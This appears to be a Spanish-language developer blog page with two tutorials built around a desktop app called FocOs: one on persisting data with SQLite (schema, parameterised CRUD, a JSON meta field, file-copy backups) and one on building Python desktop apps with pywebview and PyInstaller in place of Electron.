Toda app de escritorio necesita que sus datos datos sean persistentes. El instinto del desarrollador web es levantar PostgreSQL o MySQL. Para una app de escritorio personal eso es matar una mosca con un cañón: requiere un servidor corriendo, configuración de usuarios, manejo de conexiones, y complejidad que no aporta nada en un contexto de un solo usuario. SQLite es la alternativa correcta — un solo archivo en disco, cero configuración, cero servidor, cero mantenimiento.

PROJECT_STATUS: STABLE

Stack: Python · SQLite · JSON
Proyecto de referencia: FocOs — persistencia de datos
Objetivo: Persistencia robusta sin servidor — un archivo en disco, años de desarrollo sin tocar el schema

01. EL PROBLEMA QUE RESUELVE

PostgreSQL y MySQL están diseñados para múltiples usuarios concurrentes, alta disponibilidad y cargas de trabajo distribuidas. En una app de escritorio personal, ninguna de esas características aplica — y sin embargo arrastras toda la infraestructura. SQLite resuelve exactamente el problema que tienes: persistencia confiable para un solo usuario, sin proceso externo, sin configuración, sin que el usuario final sepa que existe una base de datos.

// Explicación no técnica

Imagina que necesitas guardar una lista de compras. Tienes dos opciones: contratar a un chef profesional con cocina industrial para que la guarde, o simplemente escribirla en un cuaderno. PostgreSQL es el chef. SQLite es el cuaderno. Para guardar tu lista de compras, el cuaderno es la respuesta correcta — y lo puedes llevar en el bolsillo.

02. LA ESTRUCTURA DE FOCOS EN SQLITE

FocOs usa cuatro tablas principales. Los dos PRAGMAs del inicio son obligatorios: WAL mejora el rendimiento de escritura significativamente, y foreign_keys=ON activa la integridad referencial que SQLite tiene desactivada por defecto.

# main.py — inicialización de la DB

import sqlite3
from pathlib import Path

DB_PATH = Path('data/focos.db')

def init_db():
    DB_PATH.parent.mkdir(parents=True, exist_ok=True)
    conn = sqlite3.connect(DB_PATH)
    conn.execute("PRAGMA journal_mode=WAL") # Escrituras más rápidas
    conn.execute("PRAGMA foreign_keys=ON") # Integridad referencial

    conn.executescript("""
        CREATE TABLE IF NOT EXISTS projects (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            name TEXT NOT NULL UNIQUE,
            status TEXT DEFAULT 'active',
            meta TEXT DEFAULT '{}'
        );

        CREATE TABLE IF NOT EXISTS tasks (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            project_id INTEGER REFERENCES projects(id),
            title TEXT NOT NULL,
            status TEXT DEFAULT 'pending',
            priority INTEGER DEFAULT 1,
            created_at TEXT DEFAULT (datetime('now'))
        );

        CREATE TABLE IF NOT EXISTS workspaces (
            ws_id INTEGER PRIMARY KEY,
            project_id INTEGER REFERENCES projects(id),
            layout TEXT DEFAULT 'default',
            state TEXT DEFAULT '{}'
        );

        CREATE TABLE IF NOT EXISTS sessions (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            project_id INTEGER REFERENCES projects(id),
            date TEXT DEFAULT (date('now')),
            duration INTEGER DEFAULT 0,
            notes TEXT DEFAULT ''
        );

        INSERT OR IGNORE INTO workspaces(ws_id) VALUES (1),(2),(3);
    """)
    conn.commit()
    conn.close()

03. CRUD COMPLETO — SIN ORM, SIN MAGIA

El patrón es consistente en todas las operaciones: abrir conexión, ejecutar, commit si escribe, cerrar en el finally. Sin ORM, sin abstracción innecesaria — el SQL es visible, debuggeable y predecible. El soft delete en lugar de DELETE real preserva el historial y evita errores irreversibles.

# CREATE
def create_project(self, name: str, status: str = 'active') -> dict:
    conn = sqlite3.connect(DB_PATH)
    try:
        cur = conn.execute(
            "INSERT INTO projects(name, status) VALUES(?,?)",
            (name, status)
        )
        conn.commit()
        return { 'ok': True, 'id': cur.lastrowid }
    except sqlite3.IntegrityError:
        return { 'ok': False, 'error': f"Proyecto '{name}' ya existe" }
    finally:
        conn.close()

# READ
def get_projects(self) -> list:
    conn = sqlite3.connect(DB_PATH)
    rows = conn.execute(
        "SELECT id, name, status, meta FROM projects ORDER BY id DESC"
    ).fetchall()
    conn.close()
    return [
        { 'id': r[0], 'name': r[1], 'status': r[2],
          'meta': json.loads(r[3] or '{}') }
        for r in rows
    ]

# UPDATE
def update_project_status(self, project_id: int, status: str) -> dict:
    conn = sqlite3.connect(DB_PATH)
    conn.execute(
        "UPDATE projects SET status=? WHERE id=?",
        (status, project_id)
    )
    conn.commit()
    conn.close()
    return { 'ok': True }

# DELETE (soft delete — cambiar status, no borrar)
def archive_project(self, project_id: int) -> dict:
    return self.update_project_status(project_id, 'archived')

04. JSON DENTRO DE SQLITE — EL CAMPO META

SQLite no tiene tipo JSON nativo — se almacena como TEXT y se serializa/deserializa manualmente. La ventaja es que el campo meta puede crecer indefinidamente sin alterar el schema. La regla es clara: datos que necesitan búsqueda van en columnas dedicadas, datos flexibles van en meta.

import json

# Guardar metadata compleja en un solo campo
meta = {
    'tipo': 'software',
    'stack': ['Python', 'JavaScript'],
    'filosofia': 'El foco es la función principal',
    'porcentaje': 85,
}

conn.execute(
    "UPDATE projects SET meta=? WHERE id=?",
    (json.dumps(meta, ensure_ascii=False), project_id)
)

# Leer y deserializar
row = conn.execute(
    "SELECT meta FROM projects WHERE id=?", (project_id,)
).fetchone()
meta = json.loads(row[0]) if row else {}
print(meta['porcentaje']) # 85
Tipo de dato Donde va Razon
ID, status, fechas, foreign keys Columna dedicada Se necesita en WHERE, ORDER BY o JOIN.
Stack, filosofía, porcentaje, config Campo meta (JSON) Solo se lee, no se filtra. Puede crecer sin migración.
Datos que evolucionan rápido Campo meta (JSON) Agregar campos sin ALTER TABLE ni migración.

05. BACKUP AUTOMÁTICO — UNA LÍNEA

SQLite es un archivo. Hacer backup es copiar ese archivo. Sin dumps, sin exports, sin herramientas externas. La estrategia en FocOs es llamar a backup_db() al inicio de cada sesión de trabajo — si algo se corrompe, el backup del día está disponible de forma inmediata.

import shutil
from datetime import datetime

def backup_db(self) -> dict:
    fecha = datetime.now().strftime('%Y-%m-%d')
    backup = DB_PATH.parent / f'focos_backup_{fecha}.db'
    shutil.copy2(DB_PATH, backup)
    return { 'ok': True, 'path': str(backup) }

# Llamar al inicio de cada sesión:
# backup_db() — si algo se corrompe, el backup del día está ahí

-- CONCLUSION

SQLite con el patrón meta JSON elimina la necesidad de migraciones de schema en proyectos que evolucionan rápido. Los campos estructurados van en columnas dedicadas para búsqueda rápida. Los datos flexibles van en el campo meta sin migración. Para una app de escritorio de un solo usuario, este enfoque es suficiente para años de desarrollo sin tocar la estructura de la base de datos.

> SYSTEM_READY > NODE_ONLINE

< session_end // node: exit >

APPS DE ESCRITORIO SIN ELECTRON: PYTHON + PYWEBVIEW COMO ALTERNATIVA REAL

TAGS: DESKTOP APPS / PYTHON / ARQUITECTURA READ_TIME: 16 MIN
Apps de escritorio sin Electron: Python + pywebview como alternativa real

Electron tiene un problema que nadie en su ecosistema quiere admitir: consume entre 150MB y 400MB de RAM en reposo, requiere Node.js como runtime, y distribuye un Chromium completo empaquetado en cada instalación. Una app "simple" de escritorio pesa fácilmente 200MB solo por el runtime. Para proyectos donde la lógica principal ya está en Python, existe una alternativa que pocos conocen: pywebview. Mismo resultado visual, fracción del peso, sin Node.js, sin npm.

PROJECT_STATUS: STABLE

Stack: Python 3.10+ · pywebview 4.4 · HTML/CSS/JS
Proyecto de referencia: FocOs v1.3 — Windows + Linux
Objetivo: Eliminar Electron del stack — UI en HTML/CSS/JS, backend en Python puro, bridge directo sin IPC

01. EL PROBLEMA QUE RESUELVE

Electron obliga a duplicar la lógica: la UI en JavaScript/TypeScript y el backend en Node.js con IPC para comunicarse con el sistema. Para proyectos Python, esto significa reescribir todo el backend en Node o mantener dos procesos separados. pywebview elimina esta duplicación: la UI es HTML/CSS/JS, el backend es Python puro, y el bridge entre los dos es directo.

// Explicación no técnica

Imagina que quieres hacer una ventana con una pantalla web adentro. Electron es como construir un edificio entero para poner esa ventana — trae sus propios ladrillos, su propia agua, su propio generador de luz. pywebview es como abrir un hueco en la pared de tu casa y poner la ventana ahí — usa lo que la casa (el sistema operativo) ya tiene. Mucho más liviano, mucho más eficiente.

02. LA COMPARACIÓN HONESTA

Los números son los que toman la decisión. Electron tiene mejor soporte para casos de uso muy específicos — notificaciones nativas, multi-ventana avanzado, DevTools en producción. Fuera de esos casos, pywebview gana en todo lo que importa para un proyecto independiente.

Factor Electron pywebview
Runtime Node.js + Chromium (~200MB) WebView2/WebKit nativo (0MB extra)
Tamaño app 150-300MB mínimo 5-20MB (solo tu código)
RAM en reposo 150-400MB 30-80MB
Backend Node.js obligatorio Python puro
IPC ipcMain / ipcRenderer Bridge directo con js_api
WebEngine Chromium fijo WebView2 (Win) / WebKit (Linux/Mac)
Build electron-builder PyInstaller / Nuitka

03. INSTALACIÓN Y SETUP MÍNIMO

La instalación base es una línea. Las dependencias adicionales dependen del OS — en Windows se necesita el backend WebView2, en Linux el WebKitGTK del sistema.

# Instalación base
pip install pywebview

# Windows — backend WebView2:
pip install pywebview[winforms]
# o para WebView2 explícito:
pip install pywebview[edgechromium]

# Linux — Ubuntu/Debian:
sudo apt install python3-gi python3-gi-cairo gir1.2-gtk-3.0 gir1.2-webkit2-4.0

# Linux — Arch:
sudo pacman -S python-gobject webkit2gtk

# App mínima funcional:
import webview

window = webview.create_window(
    title = 'Mi App',
    url = 'https://example.com',
    width = 1200,
    height = 800,
)
webview.start()

# Cargar HTML local:
from pathlib import Path
url = Path('web/index.html').resolve().as_uri()
window = webview.create_window(title='Mi App', url=url)
webview.start()

04. LA ARQUITECTURA DE FOCOS — ESTRUCTURA REAL

FocOs separa el proyecto en dos dominios claros: el backend Python en la raíz y el frontend completo bajo web/. La base de datos SQLite y la configuración de LLM viven en data/, nunca mezclados con el código de UI.

focos/
├── main.py # Entrada principal + FocOsAPI
├── focos_importer.py # Módulo de importación de proyectos
├── data/ # Base de datos y configuración
│ ├── focos.db # SQLite — proyectos, tareas, workspaces
│ ├── llm_config.json # Configuración de LLM
│ └── projects_config.json
└── web/ # Frontend completo
    ├── index.html # Shell principal
    ├── css/
    │ ├── main.css # Variables y reset
    │ ├── layout.css # Grid y estructura
    │ └── theme.css # Dark-Amber tema
    └── js/
        ├── bridge.js # Abstracción del bridge Python
        ├── llm.js # Panel de LLM
        ├── editor.js # Monaco Editor con pestañas
        ├── terminal.js # Terminal xterm.js
        ├── browser.js # Browser embebido
        └── dashboard.js # Métricas y proyectos

05. LA CLASE FOCOSAPI — EL BRIDGE COMPLETO

Todos los métodos de FocOsAPI son accesibles desde JavaScript via window.pywebview.api.nombre_del_metodo(). Los tipos Python se serializan y deserializan automáticamente — no hay protocolo de mensajes que mantener, no hay tipos que mapear manualmente.

# main.py
import webview, sqlite3, json, os
from pathlib import Path

BASE_DIR = Path(__file__).parent
DATA_DIR = BASE_DIR / 'data'
DB_PATH = DATA_DIR / 'focos.db'

class FocOsAPI:

    # -- SISTEMA ------------------------------------------------
    def get_version(self):
        return { 'version': '1.3', 'platform': os.name }

    def open_folder(self, path: str):
        '''Abre una carpeta en el explorador nativo del OS'''
        import subprocess
        if os.name == 'nt':
            subprocess.Popen(['explorer', path])
        else:
            subprocess.Popen(['xdg-open', path])
        return { 'ok': True }

    # -- ARCHIVOS -----------------------------------------------
    def open_file_dialog(self):
        result = window.create_file_dialog(
            dialog_type = webview.FileDialog.OPEN,
            allow_multiple = False,
        )
        if result:
            return { 'ok': True, 'path': str(result[0]) }
        return { 'ok': False }

    def read_file(self, path: str):
        p = Path(path)
        text = p.read_text(encoding='utf-8', errors='replace')
        return { 'ok': True, 'text': text }

    def write_file(self, path: str, content: str):
        Path(path).write_text(content, encoding='utf-8')
        return { 'ok': True }

# -- ARRANQUE -----------------------------------------------
def main():
    DATA_DIR.mkdir(parents=True, exist_ok=True)
    init_db()

    api = FocOsAPI()
    index_url = (BASE_DIR / 'web' / 'index.html').resolve().as_uri()
    global window
    window = webview.create_window(
        title = 'FocOs',
        url = index_url,
        js_api = api,
        width = 1400,
        height = 900,
        min_size = (900, 600),
        resizable = True,
        background_color = '#0A0A0A',
    )
    webview.start(on_start, debug=False)

if __name__ == '__main__':
    main()

06. DISTRIBUIR LA APP — PYINSTALLER

PyInstaller empaqueta el intérprete Python, la app y todos los assets en un único ejecutable. El resultado en Windows es un .exe de ~15MB — sin runtime externo, sin dependencias visibles para el usuario final.

# Instalar PyInstaller
pip install pyinstaller

# Windows — separador ';'
pyinstaller --onefile --windowed \
  --add-data 'web;web' \
  --add-data 'data;data' \
  --name 'FocOs' \
  main.py

# Linux — separador ':'
pyinstaller --onefile --windowed \
  --add-data 'web:web' \
  --add-data 'data:data' \
  --name 'focos' \
  main.py

# Resultado:
dist/
  FocOs.exe # Windows -- ~15MB sin runtime externo
  focos # Linux -- ~12MB

# Incluir icono:
# Windows: --icon=web/assets/focos.ico
# Linux: --icon=web/assets/focos.png
[!] NOTA: WEBVIEW2 EN WINDOWS

pywebview usa WebView2 en Windows. Viene preinstalado en Windows 11. En Windows 10 puede requerir instalación adicional por parte del usuario. Verificar disponibilidad en: developer.microsoft.com/en-us/microsoft-edge/webview2/

07. LIMITACIONES REALES DE PYWEBVIEW

pywebview no es un reemplazo universal de Electron. Hay casos donde Electron sigue siendo la opción correcta. Conocer los límites antes de comprometer la arquitectura evita reescrituras.

Limitación Workaround en Python
DevTools solo con debug=True Activar en desarrollo, desactivar en build de producción.
Multi-ventana con limitaciones Diseñar la app como SPA con paneles — evita la necesidad de ventanas múltiples.
Sin API para notificaciones nativas plyer o notify2 desde Python — independiente de pywebview.
Sin API para system tray / dock pystray desde Python — se integra en el mismo proceso.

-- CONCLUSION

pywebview + Python es la arquitectura correcta para cualquier app de escritorio donde el backend principal ya está en Python. La eliminación de Electron reduce el tamaño de distribución de ~200MB a ~15MB, el consumo de RAM en reposo de ~300MB a ~50MB, y la complejidad del stack de 3 capas a 2 capas directas. FocOs demuestra que es posible construir una app premium de escritorio — con editor de código, terminal, browser y panel LLM — sin una sola línea de Node.js.

> SYSTEM_READY > NODE_ONLINE

< session_end // node: exit >
> INFOGRATECH_CORE_SHELL X
$